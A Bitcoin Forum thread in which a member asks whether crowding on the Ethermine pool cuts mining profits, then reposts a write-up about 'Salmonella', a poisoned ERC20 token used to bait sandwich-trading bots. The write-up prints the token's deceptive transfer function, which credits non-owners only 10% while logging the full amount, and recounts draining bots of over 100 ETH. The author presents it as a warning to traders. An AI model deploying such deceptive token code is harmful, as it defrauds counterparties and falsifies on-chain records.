Bitcoin Forum
April 26, 2024, 10:08:13 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: Too many miners on Ethermine = lower profitability?  (Read 76 times)
bitquad (OP)
Member
**
Offline Offline

Activity: 145
Merit: 12


View Profile
March 21, 2021, 08:27:03 PM
 #1

With this recent call for a show of force on Ethermine by the youtube mining community because of EIP-1559 I have noticed that the hash rate has steadily gone up. And my profitability per week has gone down. Is it time for me to jump to another pool? There's still a lot of transactions taking place on Ethereum and the gas fee issue has not been resolved yet. Why would it drop so much otherwise? I know pool luck and difficulty plays a role but come on this is ridiculous!
"This isn't the kind of software where we can leave so many unresolved bugs that we need a tracker for them." -- Satoshi
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
1714169293
Hero Member
*
Offline Offline

Posts: 1714169293

View Profile Personal Message (Offline)

Ignore
1714169293
Reply with quote  #2

1714169293
Report to moderator
bitquad (OP)
Member
**
Offline Offline

Activity: 145
Merit: 12


View Profile
March 27, 2021, 06:57:28 PM
 #2

A DeFi trader tricked Ethermine's sandwich bot into purchasing "Salmonella" and "Listeria" tokens for some 130 ETH.

https://www.coindesk.com/bad-sandwich-defi-trader-poison-front-running-ethermine-miners
bitquad (OP)
Member
**
Offline Offline

Activity: 145
Merit: 12


View Profile
March 27, 2021, 07:05:09 PM
 #3

https://github.com/Defi-Cartel/salmonella

Wrecking sandwich traders for fun and profit
Those who follow the action in Ethereum’s mempool will no doubt be aware of the sudden recent boom in sandwich trading. For the uninformed, sandwich trading is a very interesting strategy which involves placing a trade before AND after a victim trade, in order to exploit the slippage that has been created.

In layman's terms, you see that someone will buy an asset, so you buy it first to artificially inflate the price, before selling afterwards at a profit.

This strategy used to be extremely risky, as Ethereum carries no guarantee that your transactions will succeed, and having only one transaction succeed can leave you the bag holder of a lot of worthless tokens. The mempool is a fun place, but it’s not a safe place.

However, a recent rise in MEV services such as FlashBots now allows traders to create “sandwich bundles”, where either all 3 transactions execute, or none of them execute. At the same time, there has also been a rise in miner trading teams, who mine the sandwich bundles directly into their blocks.

These two innovations together led to a cavalier attitude on trading forums as sandwich traders rejoiced in the profits of their new “risk free” alpha. As trad(itional) finance morphs into chad finance, it's easy to get sucked up in the excitement.

However, nothing is risk-free on the blockchain, and exploitative trading strategies such as sandwich trading and front-running actually increase in risk the more the engineer attempts to generalise their ability to capture opportunities.

To illustrate to novice traders the risks of playing in the mempool, I have conducted a demonstration of a new trading alpha I call “Salmonella”, which involves intentionally exploiting the generalised nature of front-running setups. The goal of sandwich trading is to exploit the slippage of unintended victims, so this strategy turns the tables on the exploiters.

A quick analysis of the blockchain revealed that an outfit named “Ethermine” is currently responsible for the bulk of sandwich trading, and had amassed a couple of hundred Ethereum through their sandwich trading sender address. Having settled on my initial target, I got to work analyzing their setup.

The Ethermine setup was/is fairly basic at the time of writing, relying on hitting the Uniswap router to execute trades. Their trading history was littered with reverts and their smart contract itself was holding a variety of tokens from failed trades. With this in mind I got to work creating my Salmonella contracts.

The premise of the Salmonella contract is very simple. It’s a regular ERC20 token, which behaves exactly like any other ERC20 token in normal use-cases. However, it has some special logic to detect when anyone other than the specified owner is transacting it, and in these situations it only returns 10% of the specified amount - despite emitting event logs which match a trade of the full amount.

The poisonous transfer function:

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
  require(sender != address(0), "ERC20: transfer from the zero address");
  require(recipient != address(0), "ERC20: transfer to the zero address");
  uint256 senderBalance = _balances[sender];
  require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
  if (sender == ownerA || sender == ownerB) {
    _balances[sender] = senderBalance - amount;
    _balances[recipient] += amount;
  } else {
    _balances[sender] = senderBalance - amount;
    uint256 trapAmount = (amount * 10) / 100;
    _balances[recipient] += trapAmount;
  }
  emit Transfer(sender, recipient, amount);
}
I deployed the Salmonella contract, then set up a simple Uniswap pool containing Salmonella and Ethereum. I then replicated the detection maths for sandwich trading using binary search, to create a series of bait transactions which to Ethermine and other sandwich traders would look like juicy opportunities.

Finally, I coded an executing architecture, giving me the ability to quickly cancel trades, change gas prices, and reset the state of my trap Uniswap pool.

After a couple of strong coffees I got to work, launching a series of bait transactions, carefully pricing just below market gas to keep the transactions in the mempool, but cancelling if the price started dropping.

Within a few hours I had my first hit, scooping over 68 ETH from their bots attempts to wreck my bait. Another few hours passed and I scooped a further 35 ETH from their contract.

Happy to call it a night, I casually had a browse of my Salmonella smart contract, only to find I had emptied about 17 other Sandwich trading contracts in the course of my experiment, for much smaller values than Ethermine of course.

I continued this strategy for a couple of days, emptying a bunch more sandwich contracts along the way, but the alpha quickly decayed as the wrecked sandwich traders adjusted their setups to better detect my poisonous tokens.

All in all a fun experiment, which I now present to the community as a caution. Being a DeFi degenerate is a lot of fun, but be careful in your trading - because this game is highly adversarial and we play for keeps.

See you in the mempool!
Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!